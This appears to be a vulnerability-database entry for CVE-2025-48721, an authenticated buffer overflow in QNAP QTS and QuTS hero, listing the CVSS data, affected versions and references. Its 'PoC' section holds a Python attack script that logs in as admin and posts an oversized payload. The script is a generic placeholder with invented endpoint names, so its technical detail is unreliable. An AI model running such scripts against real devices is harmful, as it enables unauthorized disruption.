CVE-2025-48721

Description

A buffer overflow vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to modify memory or crash processes. We have already fixed the vulnerability in the following version: QTS 5.2.8.3332 build 20251128 and later

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QTS 5.2.x (5.2.8.3332之前版本)

QTS 5.1.x (所有版本)

QTS 5.0.x (所有版本)

QTS 4.5.x (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-48721 PoC - QNAP QTS Buffer Overflow
# Note: This is a conceptual PoC for educational purposes only
# Requires administrator authentication

import requests
import json

TARGET = "http://target-qnap.local:8080"
USERNAME = "admin"
PASSWORD = "password"

def exploit_cve_2025_48721():
    """
    Exploit buffer overflow in QNAP QTS
    Requires authenticated admin session
    """
    session = requests.Session()
    
    # Step 1: Authenticate as administrator
    auth_data = {
        "username": USERNAME,
        "password": PASSWORD
    }
    auth_resp = session.post(f"{TARGET}/cgi-bin/authLogin.cgi", data=auth_data)
    
    if auth_resp.status_code != 200:
        print("[-] Authentication failed")
        return None
    
    print("[+] Authentication successful")
    
    # Step 2: Send malicious payload triggering buffer overflow
    # Payload contains oversized data exceeding buffer boundary
    evil_payload = "A" * 10000  # Oversized data
    
    exploit_data = {
        "component": "vulnerable_component",
        "data": evil_payload,
        "action": "modify"
    }
    
    exploit_resp = session.post(
        f"{TARGET}/cgi-bin/some_vulnerable_endpoint.cgi",
        json=exploit_data
    )
    
    if exploit_resp.status_code == 200:
        print("[+] Exploit payload sent")
    else:
        print("[-] Exploit failed")
    
    return True

if __name__ == "__main__":
    exploit_cve_2025_48721()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48721
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48721
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48721/
[4] VulDB https://vuldb.com/cve/CVE-2025-48721
[5] https://www.qnap.com/en/security-advisory/qsa-25-51

Raw JSON Data

JSON

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